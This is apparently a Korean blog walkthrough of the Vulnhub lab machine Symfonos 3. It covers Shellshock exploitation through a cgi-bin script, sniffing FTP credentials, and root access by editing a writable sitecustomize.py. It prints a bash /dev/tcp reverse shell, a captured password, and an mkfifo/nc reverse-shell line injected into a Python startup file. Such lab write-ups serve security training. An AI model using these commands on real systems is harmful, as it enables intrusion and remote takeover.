https://www.vulnhub.com/entry/symfonos-3,332/
Reconnaissance
└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/targetScan
Nmap scan report for 192.168.45.245
Host is up (0.00049s latency).
MAC Address: 08:00:27:5D:EC:63 (Oracle VirtualBox virtual NIC)
FTP
anonymous login failed
HTTP
<!-- Can you bust the underworld? -->
one more directory brutefocing..
found new endpoint /cerberus
using dirb
음....딱히 흥미가 끌리지 않아서 다시 처음으로 돌아가 이번엔 gate 디렉터리가 아닌 다른 디렉터리를 확인해볼까요
버프스위트에서 확인했습니다 새로고침할때 마다 시간이 바뀌는데 cmd 에서 uptime 한 명령어와 동일한 출력이 나오는 것을 확인할 수 있습니다
cgi-bin 밑에서 실행되고 있는 명령어에 대해서 취약점 분석을 한번 해보겠습니다
Vulnerability
cgi 스크립트가 실행되는 디렉터리에 접속을 했고, uptime 이라는 명령어를 실행하는 것을 파악, 그렇다면 ShellShock에 대한 취약점을 파악하기 위해 Nmap을 사용한다
ShellShock는 유닉스 기반 운영체제에서 널리 사용되는 Bash 명령 줄 셸에 영향을 주는 취약점이다.
취약점이 발견되었다. CVE-2014-6271 코드를 가지고 있는 shellshock 취약점이다.
user-agent 부분에 아래와 같은 코드를 넣어 취약점을 파악했다
개념 증명용 대상 호스트의 /etc/passwd 파일이다.
Exploitation
Remote Code Execution이 가능하다는 취약점을 파악했고, 다른 시도 없이 빠르게 리버스쉘을 획득하여 대상 호스트로 접근하여 추가적인 후속 정보 수집을 통해 권한 상승까지 시도한다.
우선 현재 대상 호스트에서 사용하고 있는 쉘이 어떤 쉘인지 파악한다
이 방법도 있지만 다른 명령어를 이용하여 쓰는 방법도 있는데, 그 명령어를 사용하면 에러에 대해서는 출력이 안된다
그것을 출력하기 위해서 2>&1를 이용하여 stderr를 화면에 출력해주면 정상적으로 뜰 것이다.
다음 코드는 bash 쉘을 이용하여 리버스쉘을 획득할 수 있는 코드다.
/bin/bash -i >& /dev/tcp/<Kali IP>/<Port> 0>&1
# netcat listening
└─$ nc -nlvp 7777
listening on [any] 7777 ...
대상 호스트 초기 침투 완료
Privilege Escalation
id 명령어를 쳤을때 pcap 을 확인할 수 있다. wireshark를 쓸때 pcap 파일을 확인할 수 있었는데, 네트워크 관련해서 뭔가 정보를 수집할 수 있지 않을까..? 대상 호스트 localhost를 확인해야 하기 때문에 tcpdump 명령어를 이용하여 트래픽을 덤프한다음 Kali로 파일을 옮겨서 확인해보자
└─$ wireshark file.pcap
와이어샤크를 통해서 ftp 서버의 hades 유저의 비밀번호를 획득했습니다.
# credentials
hades:PTpZTfU4vxgzvRBE
ftp 서버에 접속해 확인해봤는데, 그냥 hades의 홈디렉터리가 떠서 SSH 접속을 해봅니다
hades는 hades 그룹과 gods 그룹에 있는것을 확인
find 명령어로 파일을 찾아보다가 gods 그룹으로 그룹 쓰기 가능한 파일을 활용할 만할것을 찾다가 아래의 파일을 발견해했다.
hades@symfonos3:~$ cat /etc/python2.7/sitecustomize.py
# install the apport exception handler if available
try:
import apport_python_hook
except ImportError:
pass
else:
apport_python_hook.install()
코드는 이렇게 구성되어있으며 mkfifo을 이용한 리버스쉘을 획득하기 위해 익스플로잇 코드를 수정한 후에 파이썬을 실행한다
# install the apport exception handler if available
import os
try:
import apport_python_hook
except ImportError:
os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.219 9999 >/tmp/f")
else:
apport_python_hook.install()
아래와 같이 관리자 권한을 가진 리버스쉘을 획득
# cat proof.txt
Congrats on rooting symfonos:3!
_._
_/,__\,
__/ _/o'o
/ '-.___'/ __
/__ /\ )__/_))\
/_/, __,____ // '-.____|--' \\
e,e / // /___/| |/ \/\ \\
'o /))) : \___\| / , \/ \\
-' \\__,_/| \/ / \ \\
\_\| \/ \ \\
| || < '_ \ \\
| || / ,| / / \\
| || | / | /\ \\
| || \_/ | | | \\
| ||_______________,' |__/ \ \\
\|/_______________\___/______\_ \\
\________________________ \__ \\ ___
\________________________ _\_____ \\ _____/
\________________________ \\
~~~~~~~ / ~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~ ~~~~\\~~~~
~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ //
Contact me via Twitter @zayotic to give feedback!
'Vulnhub' 카테고리의 다른 글
[Vulnhub] Symfonos: 5.2 Walkthrough (0) | 2024.07.08 |
---|---|
[Vulnhub] Symfonos: 4 Walkthrough (0) | 2024.07.07 |
[Vulnhub] Symfonos: 2 Walkthrough (0) | 2024.07.04 |
[Vulnhub] Symfonos Walkthrough (0) | 2024.07.03 |
[Vulnhub] Prime: 1 Walkthrough (0) | 2024.06.29 |